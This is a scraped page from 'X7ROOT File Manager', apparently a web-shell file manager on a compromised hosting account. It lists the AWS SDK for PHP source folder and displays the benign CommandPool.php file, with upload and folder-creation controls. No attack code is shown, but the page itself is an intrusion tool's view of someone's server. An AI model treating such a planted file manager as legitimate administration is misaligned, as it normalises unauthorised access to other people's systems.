File Manager

X7ROOT File Manager

Current Path: /home/gfecatvj/sites/realesbar/vendor/aws/aws-sdk-php/src

home / gfecatvj / sites / realesbar / vendor / aws / aws-sdk-php / src /

📁 ..
📁 ACMPCA
📄 AbstractConfigurationProvider.php(4.46 KB)
📁 AccessAnalyzer
📁 Acm
📁 AlexaForBusiness
📁 Amplify
📁 Api
📁 ApiGateway
📁 ApiGatewayManagementApi
📁 ApiGatewayV2
📁 AppConfig
📁 AppMesh
📁 AppSync
📁 ApplicationAutoScaling
📁 ApplicationDiscoveryService
📁 ApplicationInsights
📁 Appstream
📁 Arn
📁 Athena
📁 AugmentedAIRuntime
📁 AutoScaling
📁 AutoScalingPlans
📄 AwsClient.php(17.21 KB)
📄 AwsClientInterface.php(5.4 KB)
📄 AwsClientTrait.php(2.67 KB)
📁 Backup
📁 Batch
📁 Budgets
📄 CacheInterface.php(755 B)
📁 Chime
📄 ClientResolver.php(34.92 KB)
📁 ClientSideMonitoring
📁 Cloud9
📁 CloudDirectory
📁 CloudFormation
📁 CloudFront
📁 CloudHSMV2
📁 CloudHsm
📁 CloudSearch
📁 CloudSearchDomain
📁 CloudTrail
📁 CloudWatch
📁 CloudWatchEvents
📁 CloudWatchLogs
📁 CodeArtifact
📁 CodeBuild
📁 CodeCommit
📁 CodeDeploy
📁 CodeGuruProfiler
📁 CodeGuruReviewer
📁 CodePipeline
📁 CodeStar
📁 CodeStarNotifications
📁 CodeStarconnections
📁 CognitoIdentity
📁 CognitoIdentityProvider
📁 CognitoSync
📄 Command.php(1.39 KB)
📄 CommandInterface.php(946 B)
📄 CommandPool.php(5.2 KB)
📁 Comprehend
📁 ComprehendMedical
📁 ComputeOptimizer
📁 ConfigService
📄 ConfigurationProviderInterface.php(246 B)
📁 Connect
📁 ConnectParticipant
📁 CostExplorer
📁 CostandUsageReportService
📁 Credentials
📁 Crypto
📁 DAX
📁 DLM
📁 DataExchange
📁 DataPipeline
📁 DataSync
📁 DatabaseMigrationService
📁 Detective
📁 DeviceFarm
📁 DirectConnect
📁 DirectoryService
📁 DocDB
📄 DoctrineCacheAdapter.php(989 B)
📁 DynamoDb
📁 DynamoDbStreams
📁 EBS
📁 EC2InstanceConnect
📁 EKS
📁 Ec2
📁 Ecr
📁 Ecs
📁 Efs
📁 ElastiCache
📁 ElasticBeanstalk
📁 ElasticInference
📁 ElasticLoadBalancing
📁 ElasticLoadBalancingV2
📁 ElasticTranscoder
📁 ElasticsearchService
📁 Emr
📁 Endpoint
📁 EndpointDiscovery
📄 EndpointParameterMiddleware.php(2.73 KB)
📁 EventBridge
📁 Exception
📁 FMS
📁 FSx
📁 Firehose
📁 ForecastQueryService
📁 ForecastService
📁 FraudDetector
📁 GameLift
📁 Glacier
📁 GlobalAccelerator
📁 Glue
📁 Greengrass
📁 GroundStation
📁 GuardDuty
📁 Handler
📄 HandlerList.php(13.18 KB)
📄 HasDataTrait.php(1.11 KB)
📄 HasMonitoringEventsTrait.php(869 B)
📄 HashInterface.php(531 B)
📄 HashingStream.php(1.5 KB)
📁 Health
📄 History.php(3.81 KB)
📁 Honeycode
📁 IVS
📁 Iam
📄 IdempotencyTokenMiddleware.php(3.69 KB)
📁 ImportExport
📁 Inspector
📁 IoT1ClickDevicesService
📁 IoT1ClickProjects
📁 IoTAnalytics
📁 IoTEvents
📁 IoTEventsData
📁 IoTJobsDataPlane
📁 IoTSecureTunneling
📁 IoTSiteWise
📁 IoTThingsGraph
📁 Iot
📁 IotDataPlane
📄 JsonCompiler.php(478 B)
📁 Kafka
📁 Kinesis
📁 KinesisAnalytics
📁 KinesisAnalyticsV2
📁 KinesisVideo
📁 KinesisVideoArchivedMedia
📁 KinesisVideoMedia
📁 KinesisVideoSignalingChannels
📁 Kms
📁 LakeFormation
📁 Lambda
📁 LexModelBuildingService
📁 LexRuntimeService
📁 LicenseManager
📁 Lightsail
📄 LruArrayCache.php(2.16 KB)
📁 MQ
📁 MTurk
📁 MachineLearning
📁 Macie
📁 Macie2
📁 ManagedBlockchain
📁 MarketplaceCatalog
📁 MarketplaceCommerceAnalytics
📁 MarketplaceEntitlementService
📁 MarketplaceMetering
📁 MediaConnect
📁 MediaConvert
📁 MediaLive
📁 MediaPackage
📁 MediaPackageVod
📁 MediaStore
📁 MediaStoreData
📁 MediaTailor
📄 Middleware.php(12.76 KB)
📁 MigrationHub
📁 MigrationHubConfig
📁 Mobile
📄 MockHandler.php(4.02 KB)
📄 MonitoringEventsInterface.php(742 B)
📄 MultiRegionClient.php(7.75 KB)
📁 Multipart
📁 Neptune
📁 NetworkManager
📁 OpsWorks
📁 OpsWorksCM
📁 Organizations
📁 Outposts
📁 PI
📁 Personalize
📁 PersonalizeEvents
📁 PersonalizeRuntime
📄 PhpHash.php(1.81 KB)
📁 Pinpoint
📁 PinpointEmail
📁 PinpointSMSVoice
📁 Polly
📄 PresignUrlMiddleware.php(3.28 KB)
📁 Pricing
📄 Psr16CacheAdapter.php(572 B)
📄 PsrCacheAdapter.php(742 B)
📁 QLDB
📁 QLDBSession
📁 QuickSight
📁 RAM
📁 RDSDataService
📁 Rds
📁 Redshift
📁 Rekognition
📁 ResourceGroups
📁 ResourceGroupsTaggingAPI
📄 ResponseContainerInterface.php(246 B)
📄 Result.php(1.14 KB)
📄 ResultInterface.php(1.34 KB)
📄 ResultPaginator.php(5.09 KB)
📁 Retry
📄 RetryMiddleware.php(8.46 KB)
📄 RetryMiddlewareV2.php(11.66 KB)
📁 RoboMaker
📁 Route53
📁 Route53Domains
📁 Route53Resolver
📁 S3
📁 S3Control
📁 SSO
📁 SSOOIDC
📁 SageMaker
📁 SageMakerRuntime
📁 SavingsPlans
📁 Schemas
📄 Sdk.php(39.34 KB)
📁 SecretsManager
📁 SecurityHub
📁 ServerlessApplicationRepository
📁 ServiceCatalog
📁 ServiceDiscovery
📁 ServiceQuotas
📁 Ses
📁 SesV2
📁 Sfn
📁 Shield
📁 Signature
📁 Sms
📁 SnowBall
📁 Sns
📁 Sqs
📁 Ssm
📁 StorageGateway
📄 StreamRequestPayloadMiddleware.php(2.57 KB)
📁 Sts
📁 Support
📁 Swf
📁 Synthetics
📁 Textract
📄 TraceMiddleware.php(10.72 KB)
📁 TranscribeService
📁 Transfer
📁 Translate
📁 WAFV2
📁 Waf
📁 WafRegional
📄 Waiter.php(8.32 KB)
📁 WorkDocs
📁 WorkLink
📁 WorkMail
📁 WorkMailMessageFlow
📁 WorkSpaces
📄 WrappedHttpHandler.php(6.96 KB)
📁 XRay
📁 data
📄 functions.php(12.93 KB)
📁 imagebuilder
📁 kendra
📁 signer

Editing: CommandPool.php

<?php
namespace Aws;

use GuzzleHttp\Promise\PromisorInterface;
use GuzzleHttp\Promise\EachPromise;

/**
 * Sends and iterator of commands concurrently using a capped pool size.
 *
 * The pool will read command objects from an iterator until it is cancelled or
 * until the iterator is consumed.
 */
class CommandPool implements PromisorInterface
{
    /** @var EachPromise */
    private $each;

/**
     * The CommandPool constructor accepts a hash of configuration options:
     *
     * - concurrency: (callable|int) Maximum number of commands to execute
     *   concurrently. Provide a function to resize the pool dynamically. The
     *   function will be provided the current number of pending requests and
     *   is expected to return an integer representing the new pool size limit.
     * - before: (callable) function to invoke before sending each command. The
     *   before function accepts the command and the key of the iterator of the
     *   command. You can mutate the command as needed in the before function
     *   before sending the command.
     * - fulfilled: (callable) Function to invoke when a promise is fulfilled.
     *   The function is provided the result object, id of the iterator that the
     *   result came from, and the aggregate promise that can be resolved/rejected
     *   if you need to short-circuit the pool.
     * - rejected: (callable) Function to invoke when a promise is rejected.
     *   The function is provided an AwsException object, id of the iterator that
     *   the exception came from, and the aggregate promise that can be
     *   resolved/rejected if you need to short-circuit the pool.
     * - preserve_iterator_keys: (bool) Retain the iterator key when generating
     *   the commands.
     *
     * @param AwsClientInterface $client   Client used to execute commands.
     * @param array|\Iterator    $commands Iterable that yields commands.
     * @param array              $config   Associative array of options.
     */
    public function __construct(
        AwsClientInterface $client,
        $commands,
        array $config = []
    ) {
        if (!isset($config['concurrency'])) {
            $config['concurrency'] = 25;
        }

$before = $this->getBefore($config);
        $mapFn = function ($commands) use ($client, $before, $config) {
            foreach ($commands as $key => $command) {
                if (!($command instanceof CommandInterface)) {
                    throw new \InvalidArgumentException('Each value yielded by '
                        . 'the iterator must be an Aws\CommandInterface.');
                }
                if ($before) {
                    $before($command, $key);
                }
                if (!empty($config['preserve_iterator_keys'])) {
                    yield $key => $client->executeAsync($command);
                } else {
                    yield $client->executeAsync($command);
                }
            }
        };

$this->each = new EachPromise($mapFn($commands), $config);
    }

/**
     * @return \GuzzleHttp\Promise\PromiseInterface
     */
    public function promise()
    {
        return $this->each->promise();
    }

/**
     * Executes a pool synchronously and aggregates the results of the pool
     * into an indexed array in the same order as the passed in array.
     *
     * @param AwsClientInterface $client   Client used to execute commands.
     * @param mixed              $commands Iterable that yields commands.
     * @param array              $config   Configuration options.
     *
     * @return array
     * @see \Aws\CommandPool::__construct for available configuration options.
     */
    public static function batch(
        AwsClientInterface $client,
        $commands,
        array $config = []
    ) {
        $results = [];
        self::cmpCallback($config, 'fulfilled', $results);
        self::cmpCallback($config, 'rejected', $results);

return (new self($client, $commands, $config))
            ->promise()
            ->then(static function () use (&$results) {
                ksort($results);
                return $results;
            })
            ->wait();
    }

/**
     * @return callable
     */
    private function getBefore(array $config)
    {
        if (!isset($config['before'])) {
            return null;
        }

if (is_callable($config['before'])) {
            return $config['before'];
        }

throw new \InvalidArgumentException('before must be callable');
    }

/**
     * Adds an onFulfilled or onRejected callback that aggregates results into
     * an array. If a callback is already present, it is replaced with the
     * composed function.
     *
     * @param array $config
     * @param       $name
     * @param array $results
     */
    private static function cmpCallback(array &$config, $name, array &$results)
    {
        if (!isset($config[$name])) {
            $config[$name] = function ($v, $k) use (&$results) {
                $results[$k] = $v;
            };
        } else {
            $currentFn = $config[$name];
            $config[$name] = function ($v, $k) use (&$results, $currentFn) {
                $currentFn($v, $k);
                $results[$k] = $v;
            };
        }
    }
}

X7ROOT File Manager

Editing: CommandPool.php

Upload File

Create Folder